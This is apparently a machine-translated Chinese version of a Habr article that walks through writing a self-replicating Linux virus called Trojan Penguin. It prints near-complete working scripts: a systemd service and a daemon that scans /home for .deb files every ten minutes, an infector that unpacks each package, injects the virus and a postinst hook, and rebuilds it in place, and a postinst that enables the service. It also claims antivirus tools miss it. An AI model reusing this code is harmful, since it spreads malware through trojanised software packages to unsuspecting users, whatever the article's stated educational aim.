Trojan Penguin:为Linux制作病毒

不,我不会告诉您如何编写勒索软件勒索软件,矿工或利用超新漏洞。 更重要的是,我不急于提出“ Linux比Windows安全吗?(是)” 我的目标是为linux写一个简单的病毒,没有人可以这么说,“只是为了娱乐”,其唯一功能就是分发其副本。 关于我所做的事情,我将在本文中讲述。 最后,我将提供带有源代码的GitHub链接。

图片

免责声明


本文是出于教育目的而写的。 作者绝不鼓励读者违反俄罗斯联邦法律。 请先阅读俄罗斯联邦《刑法》第28章,然后再重复本文中介绍的步骤。

我们实际上将做什么?


在我看来,最简单的传播病毒的实施机制是通过修改后的deb / rpm软件包进行分发。 deb和rpm格式软件包现在是Linux上最流行的分发工具。 我选择了deb,因为基于Debian的发行版的用户数量超过了Red Hat及其“追随者”的用户。

病毒也必须自动启动,并且在每隔一定时间后,它会扫描计算机以查找deb程序包。 为了便于调试,我选择了10分钟。

什么是Deb程序包?


deb软件包是不使用压缩的.ar格式档案。 档案中还有三个文件: debian-bynarycontrol.tardata.tar

debian.binary-包含deb软件包格式版本的文本文件,目前他们总是在其中写入“ 2.0”。

control.tar-归档文件,其中包含有关软件包的信息(例如,所需的控制文件)和安装软件包所需的软件包(例如,在安装/卸载软件包之前/之后运行的preinst,postinst,prerm和postrm脚本)。 可以使用gzip或xz压缩它,在这种情况下,扩展名.gz或.xz分别添加到存档名称中。

data.tar-使用包含已安装文件的目录进行归档。 目录由树表示,应以树的形式将其提取到文件系统的根目录。 可以使用gzip,bzip2,lzma,xz进行压缩。

我们需要注意control.tar存档中的控制文件。 该文件包含有关程序包的信息,例如作者,描述,版本,系统中的程序包优先级等。我对“ 依赖”字段感兴趣,该字段显示了依赖性(没有此程序包,则无法在此程序包中工作)。 在此字段中,我们的病毒将附加fakerootdpkg-在修改受感染计算机上的其他程序包时将需要的实用程序。

要构建一个deb软件包,将创建该软件包的根目录。 带有已安装文件的目录和包含服务文件的DEBIAN目录,其中包括用于安装/卸载的控件和脚本。 然后执行fakeroot dpkg-deb --build ./path命令

首先有一个恶魔


在编写病毒时,我对Cron是什么还是个不太了解,因此我为systemd编写了自己的守护程序。 我创建了trojan_penguin.service文件,该文件将放置在/ lib / systemd / system目录中,并添加以下内容:

[Unit] Description = XXX [Service] ExecStart=/usr/bin/trojan_penguin.sh Type=fork [Install] WantedBy=multi-user.target 

ExecStart = /usr/bin/trojan_penguin.sh-在这里,我指出了文件的路径(指向将来的病毒),该路径应在系统启动时启动。

Type = fork-此行指示该进程应从父进程分支。
我看不到需要PID文件,因此没有添加它。
在编写自己的守护程序的手册中,建议将.service文件放在目录/ usr / lib / systemd / system /或/ etc / systemd / system /中。 但是在我的Ubuntu上,我找到了目录/ lib / systemd / system。 (我在那里有apache2.service)。 也许评论中的某人会写出该目录的用途以及它与其他两个目录的区别。

文件/usr/bin/trojan_penguin.sh我得到了:

 #!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" #    ,    if ! [ -d $debug/var/log/trojan_penguin/ ]; then mkdir $debug/var/log/trojan_penguin fi #   , #   10  while [ 1 ] do list=$(find /home -name "*.deb") # deb- #        for line in $list do $debug/usr/bin/tp_infect.sh $line >> $debug/var/log/trojan_penguin/log # ,  ,      log done date > $debug/var/log/trojan_penguin/last_start #     (     ) sleep 600 # (60 * 10  = 10 ) done 

我们正在/ home部分中寻找deb包(我还能在哪里找到它们?),找到文件的路径被写入list变量。 然后,只需遍历行中的所有行,就可以为每个文件运行tp_infect.sh脚本,该脚本将感染该文件。 编写病毒时,脚本位于单独的目录中,为方便起见,我创建了一个调试变量,在其中写入了该文件夹的路径。

该守护程序已准备就绪,它仍然需要学习如何在系统启动时运行它。 为此,我编写了一个安装后脚本。 它会在安装受感染的程序包后立即启动,并表明我们的病毒是从系统启动的。 我将其放置在目录“ / usr / bin /”中,将其从那里复制到受感染的软件包。

 #!/bin/bash #debug="/home/dima/Dropbox/Programming/projects/TrojanPenguin/TrojanPenguin" debug="" systemctl daemon-reload #  ,           systemctl enable trojan_penguin.service #     systemctl start trojan_penguin.service #  

修改deb包


就像我在上面写的,deb软件包中包含的档案可以具有不同的权限。 我没有打扰,只考虑了使用.xz压缩档案的情况。 负责修改的/usr/bin/tp_infect.sh文件收到以下内容:

 #!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" temp="$debug/tmp/trojan_penguin" #   mkdir $temp mkdir $temp/new mkdir $temp/new/DEBIAN #  ar -p $1 data.tar.xz | tar -xJ -C $temp/new ar -p $1 control.tar.xz | tar -xJ -C $temp/new/DEBIAN/ # control #  control     "Deepends",    "Deepends",   ,     . cp $temp/new/DEBIAN/control $temp/orig_control cat $temp/orig_control | grep --before-context=100 Depends | grep -v Depends > $temp/new/DEBIAN/control cat $temp/orig_control | grep Depends | tr -d '\r\n' >> $temp/new/DEBIAN/control echo ", fakeroot, python" >> $temp/new/DEBIAN/control cat $temp/orig_control | grep --after-context=100 Depends | grep -v Depends >> $temp/new/DEBIAN/control #    cp $debug/usr/bin/tp_postinst.sh $temp/new/DEBIAN/postinst #     ,    if ! [ -d $temp/new/usr ]; then mkdir $temp/new/usr fi if ! [ -d $temp/new/usr/bin ]; then mkdir $temp/new/usr/bin fi if ! [ -d $temp/new/lib ]; then mkdir $temp/new/lib fi if ! [ -d $temp/new/lib/systemd ]; then mkdir $temp/new/lib/systemd fi if ! [ -d $temp/new/lib/systemd/system ]; then mkdir $temp/new/lib/systemd/system fi #   cp $debug/usr/bin/trojan_penguin.sh $temp/new/usr/bin/trojan_penguin.sh cp $debug/usr/bin/tp_infect.sh $temp/new/usr/bin/tp_infect.sh cp $debug/usr/bin/tp_postinst.sh $temp/new/usr/bin/tp_postinst.sh cp $debug/lib/systemd/system/trojan_penguin.service $temp/new/lib/systemd/system/ # ,        ,    . fakeroot dpkg-deb --build $temp/new cp $temp/new.deb $1 rm -R $temp 

安装后的问题


一切都很好,但是现在我们遇到了问题。 但是,如果软件包已经安装了postinstal,该怎么办? 原始postinstal可以用不同的语言(python,bash ...)编写,甚至可能是二进制的。 这将不允许我们简单地进行安装并添加后安装。 我解决了这个问题,如下所示:

tp_infect.sh脚本中添加了以下内容:

 #,     postinstal.  ,      . if [ -f $temp/new/usr/bin/postinst ]; then cp $temp/new/DEBIAN/postinst $debug/usr/bin/tp_orig_postinst fi 

postinstal中 ,这是这样的:

 #      if [ -f $debug/usr/bin/tp_orig_postinst ]; then $debug/usr/bin/tp_orig_postinst rm $debug/usr/bin/tp_orig_postinst fi 

我解决了一个问题,但又出现了另一个问题。 即使已经感染了病毒,我们的病毒也会对其进行修改。 修改后,病毒将看到软件包中有一个后期安装程序(实际上是我们的),将其移至/ usr / bin /,从而覆盖原始文件。 为了避免这种情况,无论是否修改了此文件,我都在“ tp_infect.sh”中添加了检查:

 if [ -f $temp/new/usr/bin/trojan_penguin.sh ]; then rm -R $temp exit 0 fi 

放在一起


病毒已准备就绪。 如所承诺的,这是GitHub链接 。 该病毒可以从存储库编译成单独的deb程序包(运行makedeb.sh)。 要将病毒注入任何软件包,只需运行以下命令:

 tp_infect.sh /  deb-/ 

存储库中有两个postinst脚本副本

DEBIAN / postinst-仅当安装带有病毒的空软件包时才执行此副本。 我将其注释掉,以使该病毒在安装后不会启动,并且只能通过命令来修改软件包。

usr / bin / postinst-此副本插入受感染的软件包。

总结


没有本文,结论是显而易见的:您不应从未经验证的来源下载并运行程序。

出于好奇,我将病毒deb软件包发送给VirusTotal进行分析。 在撰写本文时,还没有一个杀毒软件检测到它。 这是报告的链接 。 我想知道应该流逝多少时间,并且需要多少主机感染此病毒才能使防病毒软件注意它?

Source: https://habr.com/ru/post/zh-CN430460/


All Articles